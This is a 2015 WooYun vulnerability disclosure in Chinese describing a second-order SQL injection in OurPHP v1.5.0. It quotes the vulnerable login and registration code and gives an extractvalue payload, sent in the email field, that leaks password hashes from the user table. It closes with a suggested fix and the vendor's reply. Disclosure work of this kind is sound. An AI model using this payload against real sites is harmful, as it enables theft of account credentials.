当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141470

漏洞标题:ourphp v1.5.0 sql注入一枚

相关厂商:ourphp.net

漏洞作者: 不能忍

提交时间:2015-09-16 14:33

修复时间:2015-12-15 15:38

公开时间:2015-12-15 15:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-16: 细节已通知厂商并且等待厂商处理中
2015-09-16: 厂商已经确认,细节仅向厂商公开
2015-09-19: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-10: 细节向核心白帽子及相关领域专家公开
2015-11-20: 细节向普通白帽子公开
2015-11-30: 细节向实习白帽子公开
2015-12-15: 细节向公众公开

简要描述:

详细说明:

漏洞文件:
client/user/ourphp_play.class.php
if(empty($_GET["ourphp_cms"])){
exit('no!');

}elseif($_GET["ourphp_cms"] == 'reg'){
if ($_POST["OP_Useremail"] == '' || $_POST["OP_Userpass"] == '' || $_POST["OP_Userpass2"] == '' || $_POST["OP_Username"] == '' || $_POST["OP_Usertel"] == '' || $_POST["OP_Useranswer"] == ''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}elseif ($_POST["OP_Userpass"] != $_POST["OP_Userpass2"]){
exit("<script language=javascript> alert('".$passwordto."');history.go(-1);</script>");
}elseif ($_POST["code"] != $ValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}
$op = $db -> plugsclass("手机短信API接口","regsms");
if($op == "200"){
if($_POST['mobilecode'] != $_SESSION['mobilecode']){
exit("<script language=javascript> alert('".$mobilecode."');history.go(-1);</script>");
}
}
$query=mysql_query("SELECT OP_Useremail FROM `ourphp_user` WHERE `OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."'");
$num=mysql_num_rows($query);
if ($num != 0){

exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");

}else{

if ($ourphp_usercontrol['ipoff'] == 1){
$query=mysql_query("SELECT id FROM `ourphp_user` WHERE `OP_Userip` = '".dowith_sql($_POST["ip"])."'");
$num=mysql_num_rows($query);
if ($num != 0){
exit("<script language=javascript> alert('".$userip."');history.go(-1);</script>");
}
}

if(dowith_sql($_POST["introducer"]) == ''){
$introducer = '';
}else{
$queryto=mysql_query("SELECT `OP_Useremail` FROM `ourphp_user` WHERE `id` = ".intval($_POST["introducer"]));
$num=mysql_num_rows($queryto);
if ($num != 0){
$query=mysql_query("update `ourphp_user` set
`OP_Usermoney` = `OP_Usermoney` + ".$ourphp_usercontrol['money'][2].",
`OP_Userintegral` = `OP_Userintegral` + ".$ourphp_usercontrol['money'][3]."
where id = ".intval($_POST["introducer"]));

$ourphp_rs = mysql_fetch_array($queryto);
$introducer = $ourphp_rs[0];
}else{
$introducer = '';
}
}

$sql="insert into `ourphp_user` set
`OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."', //这里进库,但是有过滤
`OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."',
`OP_Username` = '".dowith_sql($_POST["OP_Username"])."',
`OP_Usertel` = '".dowith_sql($_POST["OP_Usertel"])."',
`OP_Userqq` = '".dowith_sql($_POST["OP_Userqq"])."',
`OP_Userskype` = '".dowith_sql($_POST["OP_Userskype"])."',
`OP_Useraliww` = '".dowith_sql($_POST["OP_Useraliww"])."',
`OP_Useradd` = '".dowith_sql($_POST["OP_Useradd"])."',
`OP_Userclass` = '".$ourphp_usercontrol['group']."',
`OP_Usersource` = '".$introducer."',
`OP_Usermoney` = '".$ourphp_usercontrol['money'][0]."',
`OP_Userintegral` = '".$ourphp_usercontrol['money'][1]."',
`OP_Userip` = '".dowith_sql($_POST["ip"])."',
`OP_Userproblem` = '".dowith_sql($_POST["OP_Userproblem"])."',
`OP_Useranswer` = '".dowith_sql($_POST["OP_Useranswer"])."',
`OP_Userstatus` = 1,
`OP_Usertext` = '".dowith_sql($_POST["OP_Usertext"])."',
`OP_Usercode` = '".randomkeys(18)."',
`time` = '".date("Y-m-d H:i:s")."'
";
$query=mysql_query($sql);
上面的代码写的是没有什么问题的,但是用户邮箱这个的长度并没有限制。
我们再往下看
//处理会员登录
}elseif($_GET["ourphp_cms"] == 'login'){
if ($_POST["code"] != $ValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}
$loginerror = $ourphp_adminfont['loginerror'];
$query=mysql_query("SELECT `id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username` FROM `ourphp_user` WHERE `OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."' and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
$num=mysql_num_rows($query);
if ($num < 1){

exit("<script language=javascript> alert('".$loginerror."');history.go(-1);</script>");

}else{
$ourphp_rs = mysql_fetch_array($query);
if($ourphp_rs[3] == 2){
exit("<script language=javascript> alert('".$userloginno."');history.go(-1);</script>");
}
$_SESSION['username'] = $_POST["OP_Useremail"];
这里的登录处理的地方,同样也是查询的时候有过滤的,但是有个问题,session是从post传过来的。
$_SESSION['username'] = $_POST["OP_Useremail"];
所以我们可以假设$_SESSION['username']可控,可是$_POST["OP_Useremail"];又作为前面的用户邮箱来查询,所以又必须满足前面的条件,所以我有了以下猜想:
如果我们注册邮箱的时候直接输入sql语句,进库的时候有过滤,但是我们登录的时候用于select的语句也同样是有过滤的,所以会以为我们的用户邮箱存在,也就绕过了这个逻辑。这样一来也就是说$_SESSION['username']是完全可控的!
所以我们可以构造用户邮箱:
test@**.**.**.**' and extractvalue(1, concat(0x5c, (select a.OP_Userpass from (select tmp.* from ourphp_user tmp limit 1)a) ) )#
直接在表单提交的时候可能会说格式不正确,抓包修改就好了。
进库之后的样子:

1.jpg


可以清楚的看到传入的用户邮箱是被过滤了的
test@**.**.**.**'  and extractvalue(1, concat(0x5c, (ourphp a.OP\_Userpass from (ourphp tmp.* from ourphp\_user tmp limit 1)a) ) )#
然后我们在登录的时候同样提交
test@**.**.**.**' and extractvalue(1, concat(0x5c, (select a.OP_Userpass from (select tmp.* from ourphp_user tmp limit 1)a) ) )#
然后由于:
$query=mysql_query("SELECT `id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username` FROM `ourphp_user` WHERE `OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."' and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
这个dowith_sql过滤,所以进库的时候还是会被过滤成:test@**.**.**.**'  and extractvalue(1, concat(0x5c, (ourphp a.OP\_Userpass from (ourphp tmp.* from ourphp\_user tmp limit 1)a) ) )#
又因为
$_SESSION['username'] = $_POST["OP_Useremail"];
所以
$_SESSION['username'] = test@**.**.**.**' and extractvalue(1, concat(0x5c, (select a.OP_Userpass from (select tmp.* from ourphp_user tmp limit 1)a) ) )#
然后我们找到一个调用$_SESSION['username']的文件,就可以造成注入了。
client/user/index.php
function shoppingnum(){
global $db;
if(empty($_SESSION['username'])){
return;
}else{
$ourphp_rs = $db-> sqllist("select count(id) as tiaoshu from `ourphp_shoppingcart` where `OP_Shopusername` = '".$_SESSION['username']."'");
return mysql_fetch_assoc($ourphp_rs);
}
}
也就是直接访问会员中心就可以进库注入了!太棒了

漏洞证明:

这里来一发本地演示,官网demo我试过了,不知道是不是表名改了
注册之后的用户名:

2.jpg


访问会员中心:

3.jpg


来两张还尚未成功的demo演示图:

demo1.jpg


demo2.jpg

修复方案:

限制邮箱长度,过滤,修补此处:$_SESSION['username'] = $_POST["OP_Useremail"];
都可以

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-09-16 15:38

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评价